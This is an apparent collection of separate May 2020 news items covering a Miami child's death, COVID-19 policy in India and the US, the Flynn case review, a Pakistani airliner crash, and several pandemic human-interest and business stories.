By late Friday evening, multiple law enforcement sources told the Miami Herald that the boys mother, Patricia Ripley, was a focus of the investigation  just one day after her story set off a manhunt by law enforcement for the child across West Kendall.

That search came to a quick halt about 12 hours later when a witness called police and said there appeared to be a body floating in a pond on the golf course at the MIccosukee Golf & Country Club at Southwest 138th Court and 62nd Street, about four miles from where the alleged abduction took place.

A short while later the Florida Department of Law Enforcement said on Twitter that the missing child had been found dead. That was followed by a press release from the Miccosukee Tribe of Indians saying they were deeply saddened to hear about the tragic loss of 9-year-old Alejandro Ripley.

Miami-Dade Police, the lead agency in the investigation, said a body had been found on the property but had not officially confirmed by late Friday afternoon that it belonged to Alejandro, a child who suffered a form of autism that didnt allow him to verbally communicate with others.

He was an angel, a neighbor told WPLG Channel 10. All I can say is its so painful. Its very, very painful.

Almost 24 hours after the bizarre abduction tale, no suspects had been taken into custody and there was no sign of the vehicle that Patricia Ripley claimed had forced her off the road before, she said, her child was taken away from her.

Ripley and her husband and other family members, however, remained at police headquarters late Friday afternoon, where they continued to be interviewed by homicide detectives, said Miami-Dade police spokesman Christopher Sowerby-Thomas. And a source familiar with the investigation said a security camera at a Home Depot near where the alleged abduction took place showed Ripley sitting in her car alone  without Alejandro  for 20 minutes before she called police at 8:47 p.m.

Story continues

Police said they arrived within two minutes.

An Amber Alert for 9-year-old Alejandro Ripley, whose mother told police he had been abducted from her car, was canceled after he was found dead early Friday, according to the Florida Department of Law Enforcement. He had autism and was non-verbal.

Ripley told police that she was driving west on Kendall Drive when she noticed she was being followed by a light blue, four-door sedan. As she neared Southwest 158th Avenue, she told police, the vehicle tried to sideswipe her, forcing her to bear right onto the avenue. Eventually, she said, the car raced in front of her and cut her off and forced her to stop.

Thats when, according to Ripley, a man dressed in all black, his face covered with a bandanna, but his corn rows visible, approached her and demanded drugs. When she said she didnt have any, the man grabbed her cellphone, then pulled Alejandro out of the vehicle and drove off, she said, adding there was another man inside the other vehicle.

Our Homicide detectives are on the scene of a deceased child in the area of SW 62 Street and 138 Court. Updates to follow. pic.twitter.com/fIe86jL5nq  Miami-Dade Police (@MiamiDadePD) May 22, 2020

Ripley said Alejandro was wearing a blue Captain America shirt, black shorts and black Crocs when he was taken from her. It wasnt immediately clear where Alejandro attended school. A spokesperson for Miami-Dade Public Schools said Alejandro wasnt listed as a student anywhere in the county.

Even so, Schools Superintendent Alberto Carvalho tweeted about the childs death. Only a day earlier the superintendent stood before a row of microphones at a police station discussing the accidental shooting deaths of two young girls.

Heartbroken over this innocent boys unfathomable death, Carvalho wrote.  I didnt have the chance to meet Alejandro, but his sweet smile has left an indelible impression. Praying that this case will soon be solved and those responsible brought to justice.

MIami-Dade County court records hint that Alejandro may have attended a West Kendall special needs school called Greater Heights Academy. The court records show the school sued Patricia Ripley in 2016 over about $4,100 in unpaid tuition for her son. The case settled months later after mediation. Social media posts indicate that Alejandro has a 21-year-old brother.

News of Alejandros death and the story of his abduction drew the immediate attention of the special needs community. Friendship Circle of Miami, which helps those in need develop life skills, set up a drive-thru memorial service for the child Friday afternoon at 4 p.m. at 8700 SW 112th St.

The non-profit said that though Alejandro, who is non-verbal, is not a member, hes considered part of our extended family. Anyone who wishes to attend must remain in their vehicle and wear a face mask. The agency will collect sympathy cards, mementos and flowers that will later be delivered to Alejandros family.

We are shocked and saddened by the loss of life of this precious young child whose body was found a few miles from our campus, said Rabbi Yossi Harlig, the nonprofits executive director. No child should ever be in this position, especially a child with special needs who cannot call out for help. We all grieve for Alejandro and his family.

The Florida Amber Alert for Alejandro Ripley has been cancelled. We are very sad to report that the child was found deceased.

If you would like further information, please call the Miami-Dade Police Department at 305-476-5423.  FDLE (@fdlepio) May 22, 2020

Listen to today's top stories from the Miami Herald:

Miami Herald Staff Writer David Ovalle contributed to this report.
Appealing to people to be extra cautious for the next one month, Tripura chief minister Biplab Kumar Deb on Friday said it is impossible for any state to test all incoming passengers and informed that they are being tested at 5:1 ratio.

The Tripura chief minister said that his government is screening all passengers returning to Tripura from elsewhere in the country apart from testing random samples among them. He said 14 days of home quarantine is mandatory for people, even if they test negative for Covid-19.

The maximum numbers of tests are being done to ensure safety of all. So, the people, who are not undergoing tests on their arrival from other parts, may also bear the coronavirus. As it appeared, most of the positive cases in Tripura have been found to be asymptomatic, Biplab Kumar Deb said while emphasizing on the importance of maintaining the 14-day home quarantine as a must.

Tripura had a total of 173 Covid-19 patients, of whom 148 have recovered. In the last few days, six people who returned from other states were found positive with coronavirus.

Around 40,000-50,000 people will be returning to the state from different parts of the country via trains and buses. We need to adopt more precautions to prevent transmission of Covid-19 at community level. Nobody should take a risk when it comes to Covid-19, Biplab Kumar Deb said.

He also informed that the government has constituted Corona Awareness and Monitoring Committees at the village level to ensure safety. The committees would also ensure 14-day home quarantine for all people coming from other states. Deb himself would be the chairman of the state-level committee.

He further informed that his government is expecting Rs. 4,802.88 crore under five major heads out of the total Rs. 20 lakh crore package announced by the Centre earlier in May. These include different components like direct support to farmers and rural economy, support to urban poor, support to agriculture, industries, entrepreneurs, hike in MGNREGA allocation and borrowing limit.

The state is also expecting to receive Rs. 7.35 crore out of a total of Rs 13,343 crore central package for prevention of animal diseases. Besides, the state is also hopeful it will get Rs. 10 crore out of the Rs. 10,000 crore allocated for formalizing micro food companies.
Mr. Barr has made clear that he considers to be illegitimate the governments counterintelligence effort to understand the scope of Russian election interference in 2016 and any links to the Trump campaign. He has commissioned John H. Durham, the United States attorney in Connecticut, to re-examine that investigation, and in January, he assigned another prosecutor, Jeff Jensen, the U.S. attorney in St. Louis, to go over the Flynn case files.

After Mr. Jensens review, the department disclosed to Ms. Powell several documents she has used to portray her client as a victim. Many experts in criminal law have disputed the notion that he was treated differently in any legally meaningful sense than countless other people under investigation who lack presidential ties and receive no special lenity.

The disclosures included notes by a former senior F.B.I. official musing about whether the goal in questioning Mr. Flynn was to get him to tell the truth, or to get him to lie so he could be fired or prosecuted. It also disclosed materials showing that James B. Comey, then the F.B.I. director, violated bureaucratic etiquette by dispatching the agents to interview Mr. Flynn without going through the office of the White House counsel.

And the review also disclosed internal F.B.I. files showing that the bureau had been about to close an investigation into Mr. Flynn specifically, having not found evidence that he was a Russian asset, when the question arose about why Mr. Flynn was repeatedly lying to colleagues like Vice President Mike Pence about his conversations with the ambassador.

Because the Flynn investigation was still open as a bureaucratic matter, the F.B.I. agents used it as a basis to ask Mr. Flynn about his discussions with the ambassador. Before Mr. Barrs intervention, the Justice Department had also portrayed the interview as separately justified by and material to its umbrella investigation into Russian election interference.

While Mr. Wray was not at the F.B.I. when agents interviewed Mr. Flynn, Mr. Trump has criticized him on and off since appointing him in 2017. Mr. Wray has been under renewed political pressure by Mr. Trump over the recent disclosures in the Flynn case, and the announcement that he has begun his own investigation, by itself, could function as a release valve.

The details of the inquiry, as described in an F.B.I. news release, appear to be limited and largely duplicative, however. The F.B.I.s Inspection Division will conduct a review that will complement the review already underway by Mr. Jensen, largely using the same agents already assisting him, and his efforts will take priority if the two conflict.
For COVID-19 patients, the battle to breathe again doesn't end when they are well enough to leave the hospital. Many of those who develop moderate to severe symptoms of COVID-19 will need to continue rehabilitation after they are discharged or risk developing chronic lung issues that can significantly impair their quality of life and ability to return to work. Pulmonary rehabilitation is effective in improving the physical function, quality of life, mental health and vitality of these patients, but it remains largely inaccessible and expensive in the U.S. today, with risks of contagion worsening what was already a difficult-to-access treatment.

"We take breathing for granted - but when you can't breathe well, you can't live well," said Virgilio Bento, Founder and CEO of SWORD Health. "Everyone who suffered from COVID-19 deserves a full recovery, especially those putting themselves at risk to save lives and keep our cities going. We want to help people put COVID-19 behind them and get their lives back."

To help COVID-19 survivors breathe easily again, SWORD Health accelerated development of its fully-remote pulmonary rehabilitation program and made it immediately available to businesses whose employees need it. The program extends SWORD's highly effective musculoskeletal therapy solution for back, joint and muscle pain, which has been found to be 30% more effective, with higher retention rates (54% more) than in-person therapy  adding blood oxygen and heart rate monitors to ensure pulmonary patients can progress safely through their recovery at home without putting others at risk. Treatment is highly personalized by SWORD physical therapists for each of their patients, and is based on the gold standard defined by the American Thoracic Society: exercise training, education, and behavior change.

"The need for pulmonary rehab is already significant, and it's growing with the COVID-19 pandemic," said Fernando Correia, SWORD Health Chief Medical Officer. "With this new program, physical therapists will be able to provide immediate, clinical grade care to more patients, without burdening our essential workers with extra health and financial costs."

SWORD's full digital therapy program is available to all U.S. employers and health plans, and will be offered to essential businesses at no cost for their employees.

Visit https://initiatives.swordhealth.com/essential-relief-program/ to learn more.

About SWORD Health

SWORD Health is a digital musculoskeletal (MSK) and pulmonary therapy provider that's on a mission to free two billion people from chronic and post-surgical pain. The company's digital therapy platform pairs expert physical therapists with medical-grade wearable technology to deliver a personalized treatment plan that is more effective, easier and less expensive than traditional physical therapy. SWORD believes in the power of people to recover at home, without resorting to imaging, surgeries or opioids.

Since launching in 2015, SWORD Health has worked with insurers, health systems and employers in the U.S, Europe and Australia to make quality physical therapy more accessible to everyone.

SWORD Health has offices in New York City, Salt Lake City and Porto. To learn more, visit swordhealth.com.

Media contact: [email protected]

SOURCE SWORD Health

Related Links

http://www.swordhealth.com


Midday approached as Ken Kruger pulled his brown cart down the darkened hallway of the empty hotel building.

"OK, 1207," he said, parking his operation in front of a hotel room door. "We got an open window in here that needs to close."

TERRIFYING: Popular Houston morning show producer talks about his battle with coronavirus

Inside he shut the blinds, turned off a lamp and then consulted his map for his next stop on the top floor of the DoubleTree in Arlington, Virginia's Crystal City neighborhood. Kruger was moving briskly. He was hoping to make quick work of what has become an important and highly visible part of his job: replacing the design displayed on the hotel's north tower. He's responsible for opening and closing shades of empty rooms, which trumpet uplifting messages to commuters along Interstate 395, where the busy freeway connects Washington and Northern Virginia.

First, there was a giant heart. And then the word "HOPE," followed last month by "LOVE." On Thursday, it was time for a new message that hotel workers hoped would inspire people, however briefly, in a region still very much reeling from the pandemic.

"This next room we'll leave open," Kruger said, working his way down the hallway, consulting a color-coded map along the way.

"All right, 12s done," he said. "Only nine more floors."

In mid-March, as the virus began seizing American life in ways big and small, hotel occupancy across the country plummeted. The 48-year-old hotel near the airport, perhaps best known for its revolving rooftop restaurant, consolidated its guests into a single building and kept its north tower empty. They were still operational, still booking guests and still meeting each day as a staff.

"We were itching for an idea to do something more," said Charles Hill, the DoubleTree general manager. "We're in hospitality; what we do is take care of people. While that's constrained a little bit right now, we had this really good opportunity."

They began to focus on the empty tower, so visible from one of the region's busiest thoroughfares. They viewed the tower as a canvas in need of a message.

"We wanted people to know: You're not alone, people are thinking about you," Hill said.

They settled on a heart, which felt like a unifying symbol that also seemed reasonably easy to execute. Kruger initially pulled back enough blinds to create a minimalist outline. A few days later, he went room by room again and filled in the heart. The result was a striking image, especially at night - glowing for commercial planes landing at Reagan National Airport and vehicles zipping through the city.

The feedback was positive and the hotel staffers continued throwing around ideas. They did "LOVE" in mid-April and "HOPE" a couple of weeks later.

As they discussed their options for a new message in May, Hill thought about what he had been seeing in his hotel the past several weeks. He kept coming back to one night, in particular, when a Southwest Airlines pilot approached the front desk. He brought a woman with two children from the airport who had been stranded for the night, their connecting flight canceled.

The pilot offered to pay for their room and then pulled out his wallet, handing the woman cash for a meal.

"The woman started to cry and asked the pilot, 'Can I give you a hug?'" Hill recalled. "I was watching this whole thing, just an ultimate sign of kindness and humanity where for a minute you stop thinking about social distancing and quarantining and everything going on in the world and all you see is this act of kindness."

Hill didn't charge the pilot or the woman for the room, and weeks later, he and Kruger plotted out their fourth design: "KIND."

"It reminds me why we work in hotels," Hill said.

As the building's director of engineering, Kruger is responsible for building operations, which gives him a lead role in the project. In addition to executing each design, he often ends his shift by turning on all of the lights, starting his next morning going room to room to flick them all off.

After the initial heart design, both the planning and the execution have become more sophisticated.

"It's kind of like a Lite-Brite, if you ever had those," Kruger said of the 1970s-era children's toy.

They started with a basic photograph of the tower and a highlighter to mark the windows. Then they plotted out designs in PowerPoint and an Excel spreadsheet. As Kruger turned "LOVE" into "KIND," he relied on a color-coded sheet that told him which rooms needed blinds opened, which needed them shut and which required no change at all.

There are 10 floors in the tower with 33 windows per floor - 333 windows in all. They figure that's just enough for four letters, possibly five if they avoid pesky M's, W's or other wide-berth letters. "KIND" requires open shades in 74 rooms. Kruger moved from the top floors to the bottom, from left to right, one room at a time. Room 717 needed the blinds closed; next door in 719 they needed to be opened; and in 721 Kruger had to leave one panel but cover two others, a small piece of the "N."

"Ah, a sofa," he said after stepping into one room. "Ugh."

After pulling the blinds open, Kruger pushed the sofa out of the way and moved the lamp. "Wrong lightbulb here," he said. Kruger wants consistent lighting for the nighttime display, so he makes sure every bulb is 26 watts. He's particular about these details, so he also positions the lamp two feet from window.

"I'm usually not a fast walker," he said, moving on, "but it's important to move through these rooms quickly."

Kruger wants the turnover to be completed by midafternoon, beating what remains of rush hour traffic.

"I don't want somebody to have their one drive of the month across the bridge to see half an 'H' and an 'L' and have no idea what the message is," he said.

Kruger closed the blinds in room 435 and then checked in to make sure the light was on in 437.

"Last one," he said after nearly three hours of going door to door. "That should be it."
Gurgaon-based Arista Vault on Friday said it has developed a device that can disinfect items like mobile phones, currency notes and masks, and would make it available at less than half the price of imported devices.

The product, named 'Shuddhi Box', uses ultraviolet-C rays, ozone and a mix of other technologies to disinfect surfaces and kill viruses like the novel coronavirus.

Arista Vault co-founder and CEO Purvi Roy said the company has started producing around 1 lakh units per month and is in talks with other players and contract manufacturers to scale up the production to 5 lakh units a month from July.

"UV-C in specific wavelength with the specific environment condition and unique dosage of time and intensity will sanitize any surface it touches. We have applied that unique dosage to Shuddhi Box and also used 360 degree method and electro optical with the help of medical experts and scientists," Roy said.

The company, which has been incubated with support of the Software Technology Parks of India under the Ministry of Electronics and IT (MeitY), has started offering the devices for about Rs 5,000 a unit. The price will drop to around Rs 2,000 once the production is scaled up.

Currently, imported disinfectant devices sell for Rs 5,000-6,000.

"We are coming up with several products on this technology. We have received demands for devices to disinfect laptops and tablets. All products will be in the form of an enclosure and any material that can fit into the enclosure will get disinfected," Roy said.

The government holds 10 per cent stake in Arista Vault after the company received funding under a scheme to promote entrepreneurship in the electronics sector.

"We worked under the guidelines of STPI, MeitY's Electropreneur Park to develop the Shuddhi Box with the help of Dr. Ashok Chowdhry, Associate Professor, Hepatologist, and Liver Transplant, ILBS Delhi. The technique was so far used in hospitals to sterilise surgical equipment. It can also sterilise banknotes," Roy said.

According to researchers at CDC USA and Journal of Virological Methods, the strength of the sun is strong enough to kill viruses like the novel coronavirus. The research team found that continuous low doses of far ultraviolet-C light can kill airborne flu viruses without harming human tissues.

"Shuddhi Box is based on the dose principal. Researchers say UV-C technology in the range of 253.7 nanometer wavelength is highly effective at killing bacteria and viruses by destroying the molecular bonds that hold their DNA together," Roy said.

Arista Vault has started delivering the device to hospitals and government organisations and is also selling it through the Government e-Marketplace (GeM).

"We are also working with our distribution partners and channel partners to define their zones for all India distributorships and to spread it across the country so that it can reach masses at a better price," Roy said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Medical workers prepare to conduct COVID-19 testing at a new drive-through and walk-up mobile testing site at Upper Darby High School in Delaware County on Thursday. Read more

Gov. Tom Wolf planned to announce a new group of counties cleared to move from the states red to yellow phase for reopening on Friday, and said Thursday he also hoped to name the first counties that would go from yellow to green and enter the least-restrictive phase of reopening amid the coronavirus pandemic.

Also on Thursday, Wolf signed a bill allowing cocktails to go, and his administration announced $9 million in grants to nonprofits fighting hunger, while Philadelphia worked on plans for modified summer camps and some in the Philadelphia suburbs continued to agitate for faster reopening.

On the eve of Memorial Day weekend, Health Secretary Rachel Levine asked residents in red areas, like Southeastern Pennsylvania, to not head to the Jersey Shore or other areas of Pennsylvania that are under fewer restrictions, saying the stay-at-home order means people should stay home and long trips are not recommended.

Meanwhile, New Jersey is moving closer to phase two of its economic restart, Gov. Phil Murphy said Thursday. However, the state still has a higher rate of new cases, hospitalizations and deaths per 100,000 residents than Pennsylvania, New York, and Connecticut, which is delaying its return to normal life.

While were trying to move as quickly as we can, were moving as safely as we must, Murphy said.

 READ MORE: Memorial Day weekend at the Jersey Shore: Masked beach patrols, relaxed open-container laws, overflowing trash cans

Earlier Thursday, however, Murphy said on CNBC that he could reopen hair salons and indoor dining establishments in a matter of weeks if the states numbers continue their downward trend. The states phase two will allow outdoor and indoor dining to resume and libraries and museums to reopen, with restrictions.

Like Wolf, Murphy faces mounting pressure to accelerate the reopening. New Jerseys Republican Party sued the Murphy administration Thursday in an effort to force the reopening of nonessential businesses, saying their closure was unconstitutional.

Gov. Murphy has irreparably harmed New Jersey small businesses by arbitrarily declaring some essential and others nonessential, GOP Chairman Douglas Steinhardt said in a statement. While mom-and-pop barbers, bars, brew pubs and retail shops are shuttered and struggling, big-box stores, with big cash cushions, survive.

The governors office declined to comment. Democratic Senate President Stephen Sweeney has also pushed Murphy to speed the reopening timeline in recent days.

My big fear, Murphy tweeted Wednesday in response to Sweeneys criticism, is that people will die needlessly because politicians are rushing a reopening contrary to public health guidance and data."

New Jersey reported 1,304 newly confirmed cases, increasing the states positive caseload to 151,472, and 98 deaths, bringing the states death toll to 10,843.

Pennsylvania reported 980 additional confirmed cases, for a total of 65,392, and 102 deaths, for a total of 4,869.

Two children in the state have had confirmed cases of multisystem inflammatory syndrome, Levine said. The state, which asked health-care providers to start reporting cases about two weeks ago, has also received reports of other suspected cases of the pediatric syndrome, which has been linked circumstantially to the coronavirus.

Pressure on Wolf to revise his reopening metrics for this region continued from Delaware County, where county leaders said Thursday that state officials indicated theyd release more information about the areas reopening by the end of the week.

We have been pleading with Harrisburg" to consider a different metric for Southeastern Pennsylvania, County Council Chairman Brian Zidek told residents late Wednesday in a video, and Harrisburg, I think, is listening.

Delaware County trails Philadelphia and the other collar counties in flattening the curve of new cases. On Thursday, the county opened its first drive-through and walk-up testing site at Upper Darby High School.

None of the Southeastern Pennsylvania counties has had fewer than 50 newly confirmed cases per 100,000 people over the last 14 days  the quantitative benchmark set by the Wolf administration for moving from the red to yellow phase.

Still, Bucks County leaders on Thursday said, too, hoped their county would be approved for yellow status in Wolfs Friday announcement.

 READ MORE: When will we reopen? How Pennsylvania decides whats in the red, yellow, and green phases.

Levine cautioned against businesses such as salons and gyms reopening in defiance of state orders, the day after a Media barbershop reopened and as New Jersey ordered a Bellmawr gym to close.

By definition, their professional care is hands-on, she said. That type of personal contact could transmit COVID-19 and until an area is in the green zone, were concerned about it precipitating community spread.

Because the virus can spread even if no symptoms are present, preventive measures by business owners such as client temperature checks and other screenings cant rule out the possibility that someone is contagious, Levine said.

To keep the downward trend in Philadelphias virus statistics going, City Health Commissioner Thomas Farley said, residents should continue to stay home except when it is necessary to go out, wear masks when they leave their homes, and wash their hands frequently.

 READ MORE: Stop wearing your mask wrong

The Philadelphia Water Department said residents unable to pay their water bills due to hospitalization or loss of employment wont have their service shut off though at least July 10, and penalties and late fees have been suspended until further notice.

The University of Pennsylvania, in a lengthy email to the campus on Thursday, said it would decide on a path for the fall semester by the end of June, laying out multiple scenarios that ranged from fully online courses, to a hybrid model, to classes in person until Thanksgiving and online from Thanksgiving to winter break.

What we can say is that until a vaccine is widely available, and [while] the threat of spreading the novel coronavirus remains real," the Penn leaders wrote, even the best scenarios foresee a fall semester and a school year that requires new community-wide protocols and practices, unlike any other in Penns long history.

The university leaders also said better and more readily available testing, contact tracing and isolation space for anyone sickened would all be needed before students could return. Still, campus life would be greatly altered: fewer students living on campus, take-out or reservations at the dining hall, regular testing for the virus, and everyone wearing face masks and keeping their distance, the email said.

New Jersey on Thursday also released guidelines ahead of a busy harvesting season to protect migrant farm workers from contracting the coronavirus. Employers are required to follow screening, sanitizing, and safety guidelines, including providing beds at least six feet apart in worker housing and keeping any transport vehicles at least half empty.

Thousands of seasonal farm workers come to work on New Jersey farms each spring to pick fresh fruits and vegetables, Health Commissioner Judith Persichilli said. Protecting seasonal workers on these farms is a high priority because they work and live in close proximity to one another.

Staff writers Anna Orso, Sean Collins Walsh, Ellie Silverman, Susan Snyder, Rob Tornoe, and Michael Klein contributed to this article.
By PTI

NEW DELHI: Mamta Yadav boarded a Shramik Special train on May 8 at Gujarat's Jamnagar.

She was travelling single.

But, by the time her destination station in Bihar arrived she had a companion in her arms.

Since Shramik Special trains started operating, they have witnessed births of 21 babies onboard, officials say.

Mamta had decided to board the train in very difficult times: everybody was battling a coronavirus outbreak, her husband had lost his job as a factory worker in Jamnagar due to the lockdown, she was in advance stage of pregnancy and the home was hundreds of kilometers away.

But she made the tough choice, and on May 8 decided to take the Jamnagar-Muzaffarpur Shramik Special train to be with her mother at her village in Chhapra district of Bihar for the birth of the baby.

Officials say the train left the Jamnagar stations at 8 pm.

Mamta, 35, began to experience the labour pain around the midnight.

Though the Railways had said that Shramik Special would be non-stop, this train was stopped at the Agra Fort station so that she could get the medical attention she needed.

Officials said that doctors were alerted by the onboard staff as the train approached Agra Fort station around 4.30 am.

Mamta's compartment was turned into a labour room of sorts with other passengers moving out.

A team of doctors along with railway staff supervised Mamta's condition as she delivered a healthy baby girl, the official said.

"We have a well-oiled system to deal with medical emergencies," said railway spokesperson RD Bajpai.

"Whenever a passenger needs help, our onboard staff alerts the station where medical aid is available next to and the doctors who live in railway colonies around the station are always there to deal with any emergency," he said.

"We are happy that we managed to provide help in time every time and in each case the baby and the mother have been healthy," Mamta and her little one were allowed to continue their journey, officials said.

On May 13, the 20-something Pinky Yadav gave birth to a baby boy on board the Ahmedabad-Faizabad Shramik Special train with the help of RPF personnel.

She got the medical attention at the Kanpur station.

But she had to be shifted to a district hospital for treatment.

The 23-year old Ishwari Devi gave birth to a baby boy onboard the Habibganj-Bilaspur migrant special train on May 17 with the help of onboard staff and other women passengers.

The Railways not only provided her the necessary medicines but also arranged for her admission to the Chhattisgarh Institute of Medical Sciences when she needed further care.

"We try to provide as much help as we can," said Bajpai.

"At times these people are so keen to go home. We also advise them the dos and don'ts, give them medicines and allow them to continue their journeys."

"We also provide them ambulance to ferry them to the nearest district hospital. However, one thing must be told. The mother nature takes care of most of it. We are just glad our staffers were there to help,".

So far, the railways has run around 2,050 Shramik Special trains and these births, many officials said, provided a ray of hope to all in these difficult times.

The West Central Railway has seen most of these births, welcoming seven newborns, followed by three each in the South East Central Railway and the North Central Railway, they said.

The Central Railway has seen two such births, while the East Central Railway, the Northern Railway, the Northeast Frontier Railway, the South Central Railway, the North Eastern Railway and the Western Railway one each.

The co-passengers, onboard staff and fellow travellers clapped, cheered and whistled to welcome the newborn into the world, officials recall.
Six new COVID-19 containment zones were declared in Dwarka and Kapashera area of southwest Delhi, the district administration said on Friday.

The containment orders were issued on May 21 after around 39 cases of coronavirus were reported in parts of southwest Delhi, including Vikaspuri, Kanganheri village, Palam Colony and Sadh Nagar.

The announcement comes two days after the health department asked all district magistrates to create such zones in their respective areas as per the existing guidelines.

The department's direction was prompted by a mismatch between the number of coronavirus cases and that of the containment zones in Delhi.

While coronavirus cases in the city have been rising, the number of containment zones has gone down.

According to a list shared by the Delhi government on Friday, there were 79 containment zones in the national capital.

An official in the southwest district administration said the cluster containment strategy' will contain the virus within a defined geographical area by early detection of cases, breaking the chain of transmission and preventing its spread to new areas.

He said the sub divisional magistrates concerned in coordination with the police and medical authorities will keep a buffer zone around the containment zone.

Medical authorities will take samples of owners and persons working at grocery and medical stores for COVID-19 test, the official added.

The coronavirus death toll in Delhi has mounted to 208, while 660 fresh cases of COVID-19 were reported on Friday in the biggest single-day spike.

The total number of cases in the city now stands at 12,319.

As many as 5,897 patients in Delhi were discharged or migrated so far, while there are 6,214 active cases, the Delhi health department said on Friday.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
More than 500 people received free meal kits, enough to feed a family of four, at the debut distribution Thursday of Operation BBQ Relief in Northampton County.

The county's Department of Community and Economic Development worked with the Lehigh Valley Food Policy Council to set up and distribute the meals during the afternoon outside the county government center in Easton.

An additional distribution is set for 10 a.m. to noon Friday outside the Boys & Girls Club of Bethlehem at 1430 Fritz Drive, Bethlehem.

Each person who shows up receives a pan of frozen food, first-come-first-served until supplies run out. There is no charge, and no personal information is needed to participate.

Three more weekly distribution events are planned for upcoming consecutive Thursdays in Northampton County, said Tina Smith, the county's director of community and economic development.

An additional Operation BBQ Relief distribution is planned for Friday, May 29, at Muhlenberg College in Allentown, said Susan Dalandan, coordinator of the Bethlehem-based Lehigh Valley Food Policy Council.

Despite what the name suggests, the meals arent necessarily barbecue. The family style pans of food distributed Thursday and being handed out Friday consist of breakfast items: English muffins, an egg patty, bacon and hash browns. Other weeks meals are likely to be lunch or dinner items, such as pasta or grilled chicken, Smith said.

Operation BBQ Relief aims to ease the suffering from the coronavirus pandemic, by feeding families in need while supporting local restaurants that have had to shut down in-house dining.

Participating restaurants prepare the food, which is then frozen and distributed via climate-controlled transportation.

There is a tremendous logistical challenge in distributing frozen meals, particularly in the ability to accept a large quantity and keep them frozen, and then transport them safely for distribution, Dalandan said by email. The second challenge is availability for volunteers to safely conduct the distribution."

Easton Mayor Sal Panto Jr. and Northampton County Executive Lamont McClure were among those lending a hand Thursday. The Salvation Army in Easton is also helping to distribute the meals, Dalandan said.

Funding for the effort comes from charitable donations and restaurant and food wholesalers, she said. The Pennsylvania Emergency Management Agency also contracted with Operation BBQ Relief to help cover the costs.

Dalandan helped coordinate Operation BBQ Relief in the Lehigh Valley as a member of the state's Emergency Feeding Task Force.

The state wanted to distribute more meals out into the community beyond those who are served by the emergency pantry system, she told lehighvalleylive.com. Many newly unemployed are unfamiliar with food pantries and do not use them, but they would take a meal from a friend in the community.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com.
Ninety-seven people have been confirmed dead in the crash of a Pakistani International Airlines (PIA) plane into a residential area in the southern port city of Karachi.



Provincial health officials said on May 23 that two people survived the crash of Flight PK8303, which was carrying 91 passengers and eight crew.

All passengers and crew have been accounted for, and the bodies of those killed had been recovered from the crash site, the Sindh Health Ministry said. Nineteen of the bodies have been identified.

There were reports that people had been killed on the ground, but it was unclear how many and whether their bodies had been recovered.



The Airbus A320 traveling from the eastern city of Lahore crashed on May 22 on a second approach to the Karachi's Jinnah International Airport.

One of the survivors, Muhammad Zubair, told Geo TV that the plane came down for one landing, briefly touched down, then took off again.



About 10 minutes later the pilot announced to passengers he was going to make a second attempt, then crashed on approaching to the runway, Zubair said according to Geo TV.



The plane was flying smoothly and no one was aware it was about to crash, the BBC quoted Zubair as saying.



The plane had developed a technical fault, according to Interior Minister Ijaz Ahmad Shah, who said the pilot issued a mayday call after the aircraft lost an engine.



The airline's CEO, Arshad Mahmood Malik, identified one survivor as the president of the Bank of Punjab, Zafar Masud.



The bank said he had suffered fractures but was "conscious and responding well.



Malik told a news conference that Pakistan's independent safety investigations agency would probe the crash.

Airbus said in a statement that the plane had first entered service in 2004 and was acquired by PIA a decade later and had logged around 47,100 flight hours. It said it had no confirmed information about the accident.

The crash occurred as Muslims prepare to celebrate Eid al-Fitr this weekend -- the breaking of the Ramadan fast. Many Pakistanis are travelling back to their homes in cities and villages for the holiday.



It also came days after Pakistan began allowing commercial flights to resume following a coronavirus lockdown.



Prime Minister Imran Khan said he was "shocked and saddened" by the crash, tweeting that he was in touch with Malik.



He also said he was grateful for the condolences sent by world leaders over the loss of "precious lives."



"The people of Pakistan value this support and solidarity in our hour of grief," he wrote on Twitter.

With reporting by Reuters, AFP, and the BBC
By Express News Service

VIJAYAWADA: With an objective to grab any available opportunity for attracting investment to the State, the government on Thursday constituted a task force headed by Industries Minister Mekapati Goutham Reddy and with officials of seven core departments for speedy approval of projects. The task force has officials of finance, energy, industries and commerce, energy, mines, water resources, IT departments and Economic Development Board. The government wants to vet investment proposals in a single meeting rather than circulating files through various departments, which takes a longer time.

The task force will look into the new investment proposals and decide how much subsidy or incentive the government can afford to give without bankrupting the State, Goutham Reddy said. The minister said that all the permissions needed for the projects will be discussed and vetted in a single meeting. Goutham Reddy said the State governments decision was in tune with the Centres policy. The Centre is also identifying suitable projects for the State, the minister said citing Chennai-Tirupati-Nellore Tri-city industrial corridor.

Constituting the task force, the industries and commerce department in a Government Order said economic issues and supply chain constraints caused by COVID-19 has resulted in many countries rethinking their investments in China. Reports indicate USA, South Korea, Japan, Taiwan, Vietnam, Singapore and others are likely to diversify their supply chains from China and India could emerge as an alternative investment destination for doing business. This Task Force will act as a forum for attracting investments on long term basis into the State, the GO said.

While Goutham Reddy will lead the Task Force as chairman, R Karikal Valaven (Special Chief Secretary Industries and Commerce Dept) is its Vice- Chairman. Adityanath Das (Special CS, Water Resources), SS Rawat (Principal Secretary Finance Department), Gopal Krishna Dwivedi (Principal Secretary, Mines), Nagulapalli Srikant (Secretary, Energy Department) and Kona Sasidhar (Secretary, IT) are the other members of the panel. JVN Subramanyam (Director of Industries cum CEO, APEDB) is its convenor. The Task Force may co-opt members from the industry as per need from time to time with the permission of the Chairman.

Rs 450 cr to be released as 1st instalment to MSMEs

Vijayawada: Industries and Commerce Minister Mekapati Goutham Reddy has informed that the government will launch Industries Restart Package to the tune of `1,120 crore to help the MSMEs. As part of it, the government will be releasing funds to the tune of ` 450 crore as first instalment towards the outstanding incentives to the MSMEs on Friday. The State has to give outstanding incentives to the MSMEs to the tune of `904.89 crore and it was earlier decided to extend the same in two phases. Chief Minister YS Jagan Mohan Reddy, who will be releasing the first instalment of `450 crore on Friday, assured to release the second instalment soon. Of the dues of ` 904.89 crore, ` 827.50 crore pertains to the incentives kept pending by the previous TDP government

The Investment Promotion Agency of GOI has identified Chennai-Tirupati-Nellore Tri-city industrial corridor as one among the 10 key centres for manufacturing across 9 states in the country that have high potential to attract #investments post Covid19 Mekapati Goutham Reddy
Not for release to US wire services or distribution in the United States

Announcement to The Toronto Stock Exchange and Australian Stock Exchange

HIGHLIGHTS

